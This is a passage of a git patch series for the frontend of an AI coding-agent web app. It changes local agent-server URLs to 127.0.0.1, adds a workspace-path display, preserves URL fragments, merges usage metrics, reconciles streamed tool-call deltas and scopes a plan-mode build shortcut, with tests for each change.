"--runtime-services-info", runtimeServicesInfo, - "--route", - `/api/automation=http://localhost:${config.autoBackendPort}`, - "--route", - `/api=http://localhost:${config.agentServerPort}`, - "--route", - `/sockets=http://localhost:${config.agentServerPort}`, - "--route", - `/server_info=http://localhost:${config.agentServerPort}`, - "--route", - `/health=http://localhost:${config.agentServerPort}`, - "--route", - `/ready=http://localhost:${config.agentServerPort}`, - "--route", - `/alive=http://localhost:${config.agentServerPort}`, - "--route", - `/docs=http://localhost:${config.agentServerPort}`, - "--route", - `/redoc=http://localhost:${config.agentServerPort}`, - "--route", - `/openapi.json=http://localhost:${config.agentServerPort}`, + ...buildLocalServiceRouteArgs(config), "--default", `http://localhost:${config.vitePort}`, ], @@ -621,7 +621,7 @@ async function main() { startAgentServer(config); await waitForService( "agent-server", - `http://localhost:${config.agentServerPort}/server_info`, + `${getAgentServerBaseUrl(config)}/server_info`, ); startAutomationBackend(config); @@ -641,7 +641,13 @@ async function main() { // Exports for testing // ═══════════════════════════════════════════════════════════════════════════ -export { buildAutomationBackendEnv, buildFrontend, startStaticServer }; +export { + buildAutomationBackendEnv, + buildFrontend, + buildLocalServiceRouteArgs, + getAgentServerBaseUrl, + startStaticServer, +}; // ═══════════════════════════════════════════════════════════════════════════ // Main entry point (only when run directly, not when imported) diff --git a/scripts/dev-with-automation.mjs b/scripts/dev-with-automation.mjs index a965c076348f..1c1b447277dd 100644 --- a/scripts/dev-with-automation.mjs +++ b/scripts/dev-with-automation.mjs @@ -735,6 +735,13 @@ const AGENT_SERVER_ROUTE_PREFIXES = [ "/openapi.json", ]; +// This launcher starts the agent-server with `--host 127.0.0.1`, but localhost +// can resolve to ::1 first (notably on Windows), so every request this process +// or the automation backend makes to it must address IPv4 explicitly. +function getAgentServerBaseUrl(config) { + return `http://127.0.0.1:${config.agentServerPort}`; +} + function getLocalServiceRoutes(config) { const routes = []; @@ -748,7 +755,7 @@ function getLocalServiceRoutes(config) { if (config.launchAgentServer) { for (const prefix of AGENT_SERVER_ROUTE_PREFIXES) { - routes.push([prefix, `http://127.0.0.1:${config.agentServerPort}`]); + routes.push([prefix, getAgentServerBaseUrl(config)]); } } @@ -931,10 +938,10 @@ function startAutomationBackend(config) { // // Priority: // 1. AUTOMATION_AGENT_SERVER_URL explicitly set in the user's env - // 2. `localhost:` + // 2. `127.0.0.1:` AUTOMATION_AGENT_SERVER_URL: process.env.AUTOMATION_AGENT_SERVER_URL || - `http://localhost:${config.agentServerPort}`, + getAgentServerBaseUrl(config), // The URL exported into the in-sandbox bash chain as // `AGENT_SERVER_URL` (read by main.py / setup.sh to call back into // the agent-server). @@ -1141,7 +1148,7 @@ async function seedAutomationSecret(config, options = {}) { logService("secrets", `Seeding ${secretName} into agent-server...`, c.dim); - const url = `http://localhost:${config.agentServerPort}/api/settings/secrets`; + const url = `${getAgentServerBaseUrl(config)}/api/settings/secrets`; const body = JSON.stringify({ name: secretName, value: config.sessionApiKey, @@ -1476,7 +1483,7 @@ async function main(options = {}) { agentServerReady = await waitForService( "agent-server", - `http://localhost:${config.agentServerPort}/server_info`, + `${getAgentServerBaseUrl(config)}/server_info`, agentServerReadyTimeoutMs, ); } @@ -1586,6 +1593,7 @@ export { buildConfig, buildRouteArgs, buildViteBackendEnv, + getAgentServerBaseUrl, getFrontendBackend, getLocalServiceRoutes, main, From d636ae6893a8b3f2276aa672b2b91c6f24620c87 Mon Sep 17 00:00:00 2001 From: Hurairabaloch <102205211+HurrairaBaloch@users.noreply.github.com> Date: Wed, 19 Aug 2026 14:03:48 +0500 Subject: [PATCH 10/32] feat: show workspace path in Files view (#16362) Co-authored-by: Cursor --- .../files-tab/workspace-path.test.tsx | 76 +++++++++++++++++++ __tests__/routes/files-tab.test.tsx | 29 +++++++ .../features/files-tab/workspace-path.tsx | 53 +++++++++++++ src/routes/files-tab.tsx | 6 ++ 4 files changed, 164 insertions(+) create mode 100644 __tests__/components/features/files-tab/workspace-path.test.tsx create mode 100644 src/components/features/files-tab/workspace-path.tsx diff --git a/__tests__/components/features/files-tab/workspace-path.test.tsx b/__tests__/components/features/files-tab/workspace-path.test.tsx new file mode 100644 index 000000000000..43af240b3842 --- /dev/null +++ b/__tests__/components/features/files-tab/workspace-path.test.tsx @@ -0,0 +1,76 @@ +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { WorkspacePath } from "#/components/features/files-tab/workspace-path"; + +const originalClipboard = navigator.clipboard; + +describe("WorkspacePath", () => { + afterEach(() => { + vi.restoreAllMocks(); + Object.defineProperty(navigator, "clipboard", { + configurable: true, + value: originalClipboard, + }); + }); + + it("shows the effective workspace path", () => { + const path = "/Users/alice/workspace/project/abc123"; + + render(); + + expect(screen.getByTestId("files-tab-workspace-path")).toHaveTextContent( + "WORKSPACE$TITLE:", + ); + expect( + screen.getByTestId("files-tab-workspace-path-value"), + ).toHaveTextContent(path); + }); + + it("keeps the complete path available when the text is truncated", () => { + const path = + "/Users/alice/a-very-long-workspace-name/project/with/nested/directories"; + + render(); + + const value = screen.getByTestId("files-tab-workspace-path-value"); + expect(value).toHaveClass("truncate"); + expect(value).toHaveAttribute("title", path); + }); + + it("copies the complete path and confirms the action", async () => { + const path = "C:\\Users\\alice\\workspace\\project"; + const writeText = vi.fn().mockResolvedValue(undefined); + const user = userEvent.setup(); + Object.defineProperty(navigator, "clipboard", { + configurable: true, + value: { writeText }, + }); + + render(); + + const workspacePath = screen.getByTestId("files-tab-workspace-path"); + await user.click( + within(workspacePath).getByRole("button", { name: "BUTTON$COPY" }), + ); + + expect(writeText).toHaveBeenCalledWith(path); + expect( + within(workspacePath).getByRole("button", { name: "BUTTON$COPIED" }), + ).toBeDisabled(); + }); + + it("does not render without a workspace path", () => { + const { rerender } = render(); + + expect( + screen.queryByTestId("files-tab-workspace-path"), + ).not.toBeInTheDocument(); + + rerender(); + expect( + screen.queryByTestId("files-tab-workspace-path"), + ).not.toBeInTheDocument(); + }); +}); diff --git a/__tests__/routes/files-tab.test.tsx b/__tests__/routes/files-tab.test.tsx index c3a7dfc38070..0cbaed3638d7 100644 --- a/__tests__/routes/files-tab.test.tsx +++ b/__tests__/routes/files-tab.test.tsx @@ -15,6 +15,7 @@ const useHasGitCommitsMock = vi.fn(); const useUnifiedGitCommitsMock = vi.fn(); const useWorkspaceFilesMock = vi.fn(); const useWorkspaceFileContentMock = vi.fn(); +const useActiveConversationMock = vi.fn(); const refetchGitChangesMock = vi.fn(); vi.mock("#/hooks/use-has-attached-source", () => ({ @@ -39,6 +40,10 @@ vi.mock("#/hooks/query/use-workspace-file-content", () => ({ useWorkspaceFileContentMock(path), })); +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => useActiveConversationMock(), +})); + vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({ useUnifiedGetGitChanges: () => ({ refetch: refetchGitChangesMock, @@ -94,6 +99,7 @@ describe("FilesTab", () => { useUnifiedGitCommitsMock.mockReset(); useWorkspaceFilesMock.mockReset(); useWorkspaceFileContentMock.mockReset(); + useActiveConversationMock.mockReset(); refetchGitChangesMock.mockReset(); // Default: pretend the probe has already resolved with at least one // commit. Individual tests can override this for "empty repo" cases. @@ -129,6 +135,11 @@ describe("FilesTab", () => { isLoading: false, isError: false, }); + useActiveConversationMock.mockReturnValue({ + data: { + workspace: { working_dir: "/workspace/project" }, + }, + }); }); it("defaults to diff view when the user attached a source (repo or workspace)", () => { @@ -213,6 +224,24 @@ describe("FilesTab", () => { ).toBeInTheDocument(); }); + it("shows the active conversation workspace path in files view", () => { + useHasAttachedSourceMock.mockReturnValue({ + hasAttachedSource: false, + isLoading: false, + }); + useActiveConversationMock.mockReturnValue({ + data: { + workspace: { working_dir: "/workspace/project/worktree-123" }, + }, + }); + + renderTab(); + + expect( + screen.getByTestId("files-tab-workspace-path-value"), + ).toHaveTextContent("/workspace/project/worktree-123"); + }); + it("lets users toggle diff view off even when a source is attached", async () => { useHasAttachedSourceMock.mockReturnValue({ hasAttachedSource: true, diff --git a/src/components/features/files-tab/workspace-path.tsx b/src/components/features/files-tab/workspace-path.tsx new file mode 100644 index 000000000000..6f6508e60d69 --- /dev/null +++ b/src/components/features/files-tab/workspace-path.tsx @@ -0,0 +1,53 @@ +import React from "react"; +import { useTranslation } from "react-i18next"; + +import { CopyToClipboardButton } from "#/components/shared/buttons/copy-to-clipboard-button"; +import { I18nKey } from "#/i18n/declaration"; + +interface WorkspacePathProps { + path?: string | null; +} + +export function WorkspacePath({ path }: WorkspacePathProps) { + const { t } = useTranslation("openhands"); + const [isCopied, setIsCopied] = React.useState(false); + const workspacePath = path?.trim(); + + React.useEffect(() => { + if (!isCopied) return undefined; + + const timeout = window.setTimeout(() => setIsCopied(false), 2000); + return () => window.clearTimeout(timeout); + }, [isCopied]); + + if (!workspacePath) return null; + + const handleCopy = async () => { + await navigator.clipboard.writeText(workspacePath); + setIsCopied(true); + }; + + return ( +
    + + {t(I18nKey.WORKSPACE$TITLE)}: + + + {workspacePath} + + +
    + ); +} diff --git a/src/routes/files-tab.tsx b/src/routes/files-tab.tsx index 3dcb428fe8e4..845ee7b4e798 100644 --- a/src/routes/files-tab.tsx +++ b/src/routes/files-tab.tsx @@ -22,9 +22,11 @@ import { FileQuickRow } from "#/components/features/files-tab/file-quick-row"; import { FileTreeView } from "#/components/features/files-tab/file-tree-view"; import { FileContentViewer } from "#/components/features/files-tab/file-content-viewer"; import { SegmentedToggle } from "#/components/features/files-tab/segmented-toggle"; +import { WorkspacePath } from "#/components/features/files-tab/workspace-path"; import type { ViewMode } from "#/components/features/files-tab/view-mode"; import RefreshIcon from "#/icons/u-refresh.svg?react"; import LinkExternalIcon from "#/icons/link-external.svg?react"; +import { useActiveConversation } from "#/hooks/query/use-active-conversation"; import { useUnifiedGitCommits } from "#/hooks/query/use-unified-git-commits"; import GitChanges from "./changes-tab"; import GitCommits from "./commits-tab"; @@ -35,6 +37,9 @@ function FilesTab() { // Keep the list / content / diff caches fresh as the agent writes files. useAutoRefreshFilesOnEdit(); + const { data: activeConversation } = useActiveConversation(); + const workspacePath = activeConversation?.workspace?.working_dir; + const { hasAttachedSource, isLoading: isAttachedSourceLoading } = useHasAttachedSource(); // A workspace with zero commits has no diff base to compare against, so @@ -237,6 +242,7 @@ function FilesTab() { )} {activeView === "off" && (
    + {filesQuery.isLoading ? (
    {t(I18nKey.FILES$LOADING_FILES)} From 551e9a9ee6cc26feaa9ff2bf33a34f0442368c84 Mon Sep 17 00:00:00 2001 From: chrislazar25 <89318462+chrislazar25@users.noreply.github.com> Date: Wed, 19 Aug 2026 04:07:29 -0500 Subject: [PATCH 11/32] fix(backend-registry): preserve URL fragments in withBackendSelectionParams (#16619) Co-authored-by: VascoSch92 --- .../backend-registry/url-selection.test.ts | 67 +++++++++++++++++++ src/api/backend-registry/url-selection.ts | 19 +++++- 2 files changed, 83 insertions(+), 3 deletions(-) diff --git a/__tests__/api/backend-registry/url-selection.test.ts b/__tests__/api/backend-registry/url-selection.test.ts index bc00fd27390a..40e6cc53da12 100644 --- a/__tests__/api/backend-registry/url-selection.test.ts +++ b/__tests__/api/backend-registry/url-selection.test.ts @@ -65,6 +65,73 @@ describe("withBackendSelectionParams", () => { `/conversations/abc?tab=files&${BACKEND_QUERY_PARAM}=local-1`, ); }); + + it("keeps a fragment after existing query parameters intact and after the query", () => { + const path = withBackendSelectionParams( + "/conversations/abc?tab=files#detail", + { + backend: localBackend, + orgId: null, + }, + ); + + expect(path).toBe( + `/conversations/abc?tab=files&${BACKEND_QUERY_PARAM}=local-1#detail`, + ); + }); + + it("keeps a fragment on a path without query parameters after the query", () => { + const path = withBackendSelectionParams("/conversations/abc#detail", { + backend: localBackend, + orgId: null, + }); + + expect(path).toBe( + `/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#detail`, + ); + }); + + it("does not treat a ? inside the fragment as a query separator", () => { + const path = withBackendSelectionParams("/conversations/abc#detail?x=1", { + backend: localBackend, + orgId: null, + }); + + expect(path).toBe( + `/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#detail?x=1`, + ); + }); + + it("round-trips an empty fragment verbatim", () => { + const path = withBackendSelectionParams("/conversations/abc#", { + backend: localBackend, + orgId: null, + }); + + expect(path).toBe(`/conversations/abc?${BACKEND_QUERY_PARAM}=local-1#`); + }); + + it("keeps the org id and the fragment together", () => { + const path = withBackendSelectionParams("/conversations/abc#detail", { + backend: cloudBackend, + orgId: "org-7", + }); + + expect(path).toBe( + `/conversations/abc?${BACKEND_QUERY_PARAM}=prod&${ORG_QUERY_PARAM}=org-7#detail`, + ); + }); + + it("keeps query data that itself contains a ?", () => { + const path = withBackendSelectionParams("/conversations/abc?next=/a?b=1", { + backend: localBackend, + orgId: null, + }); + + expect(path).toBe( + `/conversations/abc?next=%2Fa%3Fb%3D1&${BACKEND_QUERY_PARAM}=local-1`, + ); + }); }); describe("readBackendSelectionFromUrl", () => { diff --git a/src/api/backend-registry/url-selection.ts b/src/api/backend-registry/url-selection.ts index 5c7a53a3161c..c6d4d202334a 100644 --- a/src/api/backend-registry/url-selection.ts +++ b/src/api/backend-registry/url-selection.ts @@ -19,7 +19,8 @@ export const ORG_QUERY_PARAM = "org"; /** * Append the active backend identity to an in-app path so opening it in a new - * browsing context resolves against the same backend. + * browsing context resolves against the same backend. Any fragment on the + * path is preserved verbatim and kept after the query string. */ export function withBackendSelectionParams( path: string, @@ -28,12 +29,24 @@ export function withBackendSelectionParams( const { backend, orgId } = active; if (!backend.id) return path; - const [pathname, existingSearch = ""] = path.split("?"); + const hashIndex = path.indexOf("#"); + const fragment = hashIndex === -1 ? "" : path.slice(hashIndex); + const withoutFragment = hashIndex === -1 ? path : path.slice(0, hashIndex); + + // Split at the *first* `?` only. A later `?` is ordinary query data (a + // `next=` redirect carrying its own query, say), and `split("?")` would + // silently drop everything past it. + const queryIndex = withoutFragment.indexOf("?"); + const pathname = + queryIndex === -1 ? withoutFragment : withoutFragment.slice(0, queryIndex); + const existingSearch = + queryIndex === -1 ? "" : withoutFragment.slice(queryIndex + 1); + const params = new URLSearchParams(existingSearch); params.set(BACKEND_QUERY_PARAM, backend.id); if (orgId) params.set(ORG_QUERY_PARAM, orgId); - return `${pathname}?${params.toString()}`; + return `${pathname}?${params.toString()}${fragment}`; } /** From 38656283758344cead6497d225599740adfe40a0 Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Wed, 19 Aug 2026 12:36:46 +0200 Subject: [PATCH 12/32] fix: combine stats.usage_to_metrics into AppConversation.metrics when metrics is unset (#16510) --- __tests__/api/agent-server-adapter.test.ts | 87 +++++++++++++++++++ .../agent-server-conversation-service.test.ts | 44 ++++++++++ src/api/agent-server-adapter.ts | 10 ++- .../agent-server-conversation-service.api.ts | 21 +++-- src/utils/conversation-metrics.ts | 15 ++-- 5 files changed, 164 insertions(+), 13 deletions(-) diff --git a/__tests__/api/agent-server-adapter.test.ts b/__tests__/api/agent-server-adapter.test.ts index a403cde75a72..aa43678562f0 100644 --- a/__tests__/api/agent-server-adapter.test.ts +++ b/__tests__/api/agent-server-adapter.test.ts @@ -918,6 +918,93 @@ describe("toAppConversation", () => { updated_at: "2026-01-01T00:00:00Z", }; + it("combines stats.usage_to_metrics into metrics when the backend doesn't set metrics directly (#16480)", () => { + const result = toAppConversation({ + ...baseInfo, + stats: { + usage_to_metrics: { + agent: { + model_name: "agent-model", + accumulated_cost: 1.5, + max_budget_per_task: 10, + accumulated_token_usage: { + prompt_tokens: 100, + completion_tokens: 20, + cache_read_tokens: 5, + cache_write_tokens: 1, + context_window: 8000, + per_turn_token: 120, + }, + costs: [], + response_latencies: [], + token_usages: [], + }, + condenser: { + model_name: "condenser-model", + accumulated_cost: 0.5, + max_budget_per_task: null, + accumulated_token_usage: { + prompt_tokens: 40, + completion_tokens: 10, + cache_read_tokens: 0, + cache_write_tokens: 0, + context_window: 4000, + per_turn_token: 50, + }, + costs: [], + response_latencies: [], + token_usages: [], + }, + }, + }, + }); + + expect(result.metrics).toEqual({ + accumulated_cost: 2, + max_budget_per_task: 10, + accumulated_token_usage: { + prompt_tokens: 140, + completion_tokens: 30, + cache_read_tokens: 5, + cache_write_tokens: 1, + context_window: 8000, + per_turn_token: 120, + }, + }); + }); + + it("prefers backend-provided metrics over stats.usage_to_metrics when both are present", () => { + const result = toAppConversation({ + ...baseInfo, + metrics: { accumulated_cost: 3, max_budget_per_task: null }, + stats: { + usage_to_metrics: { + agent: { + model_name: "agent-model", + accumulated_cost: 999, + max_budget_per_task: null, + accumulated_token_usage: null, + costs: [], + response_latencies: [], + token_usages: [], + }, + }, + }, + }); + + expect(result.metrics?.accumulated_cost).toBe(3); + }); + + it("defaults metrics to a zero-cost snapshot when neither metrics nor stats are present", () => { + const result = toAppConversation({ ...baseInfo }); + + expect(result.metrics).toEqual({ + accumulated_cost: 0, + max_budget_per_task: null, + accumulated_token_usage: null, + }); + }); + it("falls back to the default title when the backend returns null", () => { const result = toAppConversation({ ...baseInfo, title: null }); expect(result.title).toBe("Conversation 372eb"); diff --git a/__tests__/api/agent-server-conversation-service.test.ts b/__tests__/api/agent-server-conversation-service.test.ts index 0dbebf1a81a8..413f90731cf6 100644 --- a/__tests__/api/agent-server-conversation-service.test.ts +++ b/__tests__/api/agent-server-conversation-service.test.ts @@ -636,6 +636,50 @@ describe("AgentServerConversationService", () => { expect(result.items[0]?.sandbox_status).toBe("PAUSED"); }); + it("falls back to stats.usage_to_metrics when searchConversations omits metrics (#16480)", async () => { + const searchSpy = vi.fn().mockResolvedValue({ + items: [ + { + id: "conv-stats-only", + created_at: "2024-01-01", + updated_at: "2024-01-01", + stats: { + usage_to_metrics: { + default: { + model_name: "test-model", + accumulated_cost: 1.25, + max_budget_per_task: null, + accumulated_token_usage: { + prompt_tokens: 100, + completion_tokens: 50, + cache_read_tokens: 0, + cache_write_tokens: 0, + context_window: 8000, + per_turn_token: 150, + }, + costs: [], + response_latencies: [], + token_usages: [], + }, + }, + }, + }, + ], + next_page_id: null, + }); + mockConversationClient.mockReturnValue({ + searchConversations: searchSpy, + }); + + const result = + await AgentServerConversationService.searchConversations(10); + + expect(result.items[0]?.metrics?.accumulated_cost).toBe(1.25); + expect( + result.items[0]?.metrics?.accumulated_token_usage?.prompt_tokens, + ).toBe(100); + }); + it("preserves the launched Agent Profile through the wire normalizer", async () => { mockHttpGet.mockResolvedValue({ data: [ diff --git a/src/api/agent-server-adapter.ts b/src/api/agent-server-adapter.ts index ade417018a38..af2508339843 100644 --- a/src/api/agent-server-adapter.ts +++ b/src/api/agent-server-adapter.ts @@ -22,8 +22,10 @@ import { PluginSpec, AppConversation, AppConversationPage, + RuntimeConversationStats, SandboxStatus, } from "./conversation-service/agent-server-conversation-service.types"; +import { combineUsageMetrics } from "#/utils/conversation-metrics"; import SettingsService from "./settings-service/settings-service.api"; import { getStoredConversationMetadata } from "./conversation-metadata-store"; import LLMSubscriptionService from "./llm-subscription-service"; @@ -63,6 +65,12 @@ export interface DirectConversationInfo { per_turn_token?: number; } | null; } | null; + /** + * Raw per-usage-id LLM stats from the agent-server. Search/list responses + * often carry real usage here even when `metrics` above comes back unset; + * {@link toAppConversation} combines this as a fallback in that case. + */ + stats?: RuntimeConversationStats | null; agent?: { /** * Pydantic discriminator from the SDK union: ``"ACPAgent"`` for ACP CLI @@ -375,7 +383,7 @@ export function toAppConversation( } : null, } - : null, + : combineUsageMetrics(info.stats), created_at: info.created_at, updated_at: info.updated_at, execution_status: diff --git a/src/api/conversation-service/agent-server-conversation-service.api.ts b/src/api/conversation-service/agent-server-conversation-service.api.ts index 507769cd4bfa..40c29ff86cba 100644 --- a/src/api/conversation-service/agent-server-conversation-service.api.ts +++ b/src/api/conversation-service/agent-server-conversation-service.api.ts @@ -66,6 +66,7 @@ import type { AppConversationStartTask, MetricsSnapshot, RuntimeConversationInfo, + RuntimeConversationStats, SendMessageRequest, SendMessageResponse, } from "./agent-server-conversation-service.types"; @@ -135,6 +136,16 @@ function normalizeMetrics(value: unknown): MetricsSnapshot | null { }; } +// Shallow check only (matches the trust level `getRuntimeConversation` used +// before this field was threaded through `DirectConversationInfo`): the +// per-usage-id entries are consumed via `combineUsageMetrics`, which already +// tolerates missing/malformed fields, so there's no need to validate them here. +function normalizeStats(value: unknown): RuntimeConversationStats | null { + return isRecord(value) + ? (value as unknown as RuntimeConversationStats) + : null; +} + function normalizeAgent(value: unknown): DirectConversationInfo["agent"] { if (!isRecord(value)) return null; const llm = isRecord(value.llm) @@ -244,6 +255,7 @@ function requireDirectConversationInfo(item: unknown): DirectConversationInfo { execution_status: stringOrNull(item.execution_status), sandbox_status: stringOrNull(item.sandbox_status), metrics: normalizeMetrics(item.metrics), + stats: normalizeStats(item.stats), agent: normalizeAgent(item.agent), workspace: normalizeWorkspace(item.workspace), tags: normalizeTags(item.tags), @@ -658,19 +670,14 @@ class AgentServerConversationService { conversationUrl: string | null | undefined, sessionApiKey?: string | null, ): Promise { - type RawRuntime = DirectConversationInfo & { - stats?: RuntimeConversationInfo["stats"]; - }; - // Fetch directly from the per-conversation runtime agent-server at conversationUrl. const response = await new ConversationClient( getAgentServerClientOptions({ conversationUrl, sessionApiKey, }), - ).getConversation(conversationId); + ).getConversation(conversationId); const data = requireDirectConversationInfo(response); - const stats = isRecord(response) ? response.stats : null; return { id: data.id, @@ -681,7 +688,7 @@ class AgentServerConversationService { created_at: data.created_at, updated_at: data.updated_at, status: toRuntimeStatus(data.execution_status), - stats: isRecord(stats) ? stats : { usage_to_metrics: {} }, + stats: data.stats ?? { usage_to_metrics: {} }, }; } diff --git a/src/utils/conversation-metrics.ts b/src/utils/conversation-metrics.ts index e6f2ede44027..71adc57f2f93 100644 --- a/src/utils/conversation-metrics.ts +++ b/src/utils/conversation-metrics.ts @@ -1,18 +1,17 @@ import type { MetricsSnapshot, RuntimeConversationInfo, + RuntimeConversationStats, TokenUsage, } from "#/api/conversation-service/agent-server-conversation-service.types"; /** * TypeScript equivalent of the get_combined_metrics method from the Python SDK - * Combines metrics from all LLM usage IDs in the conversation stats + * Combines metrics from all LLM usage IDs in a conversation's stats */ -export function getCombinedMetrics( - conversationInfo: RuntimeConversationInfo, +export function combineUsageMetrics( + stats: RuntimeConversationStats | null | undefined, ): MetricsSnapshot { - const { stats } = conversationInfo; - if (!stats?.usage_to_metrics) { return { accumulated_cost: 0, @@ -72,3 +71,9 @@ export function getCombinedMetrics( accumulated_token_usage: combinedTokenUsage, }; } + +export function getCombinedMetrics( + conversationInfo: RuntimeConversationInfo, +): MetricsSnapshot { + return combineUsageMetrics(conversationInfo.stats); +} From 5f11a4eec61b5a948bbe749f2b7df1c982df8eb8 Mon Sep 17 00:00:00 2001 From: Ondra Pelech Date: Wed, 19 Aug 2026 12:44:39 +0200 Subject: [PATCH 13/32] fix: reconcile non-native tool-call streamed XML delta (#16220) --- __tests__/utils/handle-event-for-ui.test.ts | 35 +++++++++++++++++++++ src/utils/handle-event-for-ui.ts | 31 +++++++++++++++--- 2 files changed, 61 insertions(+), 5 deletions(-) diff --git a/__tests__/utils/handle-event-for-ui.test.ts b/__tests__/utils/handle-event-for-ui.test.ts index 16fb05bfd88c..42632be18b4d 100644 --- a/__tests__/utils/handle-event-for-ui.test.ts +++ b/__tests__/utils/handle-event-for-ui.test.ts @@ -742,6 +742,41 @@ describe("handleEventForUI", () => { expect(result).toEqual([mockMessageEvent, delta, action]); }); + // Non-native tool call: the delta is `thought` + raw `` XML, a + // superset of the thought, so only the marker signal reconciles it. + it("clears the delta when streamed text is the thought plus an unstripped block", () => { + const thought = "Coding and executing"; + const delta = makeStreamingDelta( + "delta-1", + `${thought}\necho hi\nLOW\n`, + ); + const action = makeThoughtAction("intermediate-1", thought); + + const result = handleEventForUI(action, [mockMessageEvent, delta]); + + expect(result).toEqual([mockMessageEvent, action]); + }); + + // The planning and main sockets share this store, so the marker signal must + // not let one agent's action strip the other's live delta. + it("leaves a marker-bearing delta from the other agent untouched", () => { + const delta = { + ...makeStreamingDelta( + "delta-1", + `Planning\necho hi\n`, + ), + isFromPlanningAgent: true, + }; + const action = makeThoughtAction( + "intermediate-1", + "Coding and executing", + ); + + const result = handleEventForUI(action, [mockMessageEvent, delta]); + + expect(result).toEqual([mockMessageEvent, delta, action]); + }); + it("does not reconcile a ThinkAction (its thought renders separately)", () => { const thought = "A reasoning step."; const delta = makeStreamingDelta("delta-1", thought); diff --git a/src/utils/handle-event-for-ui.ts b/src/utils/handle-event-for-ui.ts index 213316868536..250db116351a 100644 --- a/src/utils/handle-event-for-ui.ts +++ b/src/utils/handle-event-for-ui.ts @@ -117,8 +117,18 @@ const getTrailingDeltas = ( return deltas; }; -const getTrailingContentDeltas = (uiEvents: OpenHandsEvent[]) => - getTrailingDeltas(uiEvents, (event) => (event.content?.length ?? 0) > 0); +// Sender-scoped for the same reason as `getTrailingReasoningDeltas` (#1656): +// a main-agent action must not strip the planning agent's live content. +const getTrailingContentDeltas = ( + uiEvents: OpenHandsEvent[], + finalEvent: OpenHandsEvent, +) => + getTrailingDeltas( + uiEvents, + (event) => + (event.content?.length ?? 0) > 0 && + isSameStreamingSender(finalEvent, event), + ); // Sender-scoped: the main and planning sockets share this event store, so a // main-agent action must not strip the planning agent's live reasoning (#1656). @@ -187,6 +197,12 @@ const matchStreamedSegments = ( return findTextSegmentsInOrder(targetText, searchSegments); }; +// A ` + segments.some((segment) => segment.includes(" block in its content. Decides if a replaced delta's reasoning must @@ -257,7 +273,7 @@ const supersedeStreamedThoughtWithAction = ( return null; } - const contentDeltas = getTrailingContentDeltas(uiEvents); + const contentDeltas = getTrailingContentDeltas(uiEvents, action); if (contentDeltas.length === 0) { return null; } @@ -266,8 +282,13 @@ const supersedeStreamedThoughtWithAction = ( ({ event }) => event.content ?? "", ); - // Only strip when the streamed text is the action's rendered thought. - if (!matchStreamedSegments(thoughtText, streamingSegments).matched) { + // Strip on a thought match, or on an unstripped `` marker whose + // streamed text is a superset of `thought` that the match can't reconcile. + const matchedThought = matchStreamedSegments( + thoughtText, + streamingSegments, + ).matched; + if (!matchedThought && !hasUnstrippedFunctionCallMarker(streamingSegments)) { return null; } From 8780efb3cd69eb55b241d8ca83e4358554c777fa Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Wed, 19 Aug 2026 12:49:07 +0200 Subject: [PATCH 14/32] fix(chat): scope Cmd+Enter build shortcut to plan mode (#16703) --- .../components/chat/chat-interface.test.tsx | 109 ++++++++++++++++++ .../features/chat/chat-interface.tsx | 17 ++- 2 files changed, 122 insertions(+), 4 deletions(-) diff --git a/__tests__/components/chat/chat-interface.test.tsx b/__tests__/components/chat/chat-interface.test.tsx index 0a227e0f8a42..b1bace780446 100644 --- a/__tests__/components/chat/chat-interface.test.tsx +++ b/__tests__/components/chat/chat-interface.test.tsx @@ -1033,3 +1033,112 @@ describe("ChatInterface - Tracking", () => { expect(trackInitialQuerySubmittedMock).not.toHaveBeenCalled(); }); }); + +describe("ChatInterface - Build plan keyboard shortcut", () => { + let queryClient: QueryClient; + + const BUILD_PROMPT = + "Execute the plan based on the .agents_tmp/PLAN.md file."; + + beforeEach(() => { + vi.clearAllMocks(); + mockSend.mockResolvedValue({ queued: false }); + queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false } }, + }); + useOptimisticUserMessageStore.setState({ pendingMessages: [] }); + useErrorMessageStore.setState({ errorMessage: null }); + (useConfig as unknown as ReturnType).mockReturnValue({ + data: {}, + }); + ( + useUnifiedUploadFiles as unknown as ReturnType + ).mockReturnValue({ + mutateAsync: vi + .fn() + .mockResolvedValue({ skipped_files: [], uploaded_files: [] }), + isLoading: false, + }); + useEventStore.setState({ events: [], eventIds: new Set(), uiEvents: [] }); + }); + + function renderInterface() { + render( + + + + } /> + + + , + ); + } + + const pressBuildShortcut = () => { + fireEvent.keyDown(document, { key: "Enter", metaKey: true }); + fireEvent.keyDown(document, { key: "Enter", ctrlKey: true }); + }; + + const sentBuildPrompt = () => + mockSend.mock.calls.some(([message]) => + JSON.stringify(message).includes(BUILD_PROMPT), + ); + + it("does not send the build prompt in code mode", () => { + act(() => { + useConversationStore.setState({ + conversationMode: "code", + planContent: null, + }); + }); + + renderInterface(); + pressBuildShortcut(); + + expect(sentBuildPrompt()).toBe(false); + }); + + it("does not send the build prompt in code mode when a plan exists", () => { + act(() => { + useConversationStore.setState({ + conversationMode: "code", + planContent: "# Plan\n\n- step one", + }); + }); + + renderInterface(); + pressBuildShortcut(); + + expect(sentBuildPrompt()).toBe(false); + }); + + it("does not send the build prompt in plan mode when no plan exists", () => { + act(() => { + useConversationStore.setState({ + conversationMode: "plan", + planContent: null, + }); + }); + + renderInterface(); + pressBuildShortcut(); + + expect(sentBuildPrompt()).toBe(false); + }); + + it("sends the build prompt in plan mode when a plan exists", async () => { + act(() => { + useConversationStore.setState({ + conversationMode: "plan", + planContent: "# Plan\n\n- step one", + }); + }); + + renderInterface(); + fireEvent.keyDown(document, { key: "Enter", metaKey: true }); + + await waitFor(() => { + expect(sentBuildPrompt()).toBe(true); + }); + }); +}); diff --git a/src/components/features/chat/chat-interface.tsx b/src/components/features/chat/chat-interface.tsx index 552122296239..a4f2e9a32b2b 100644 --- a/src/components/features/chat/chat-interface.tsx +++ b/src/components/features/chat/chat-interface.tsx @@ -63,7 +63,8 @@ function getEntryPoint( export function ChatInterface() { const { trackInitialQuerySubmitted, trackUserMessageSent } = useTracking(); - const { setMessageToSend } = useConversationStore(); + const { setMessageToSend, conversationMode, planContent } = + useConversationStore(); const { errorMessage, 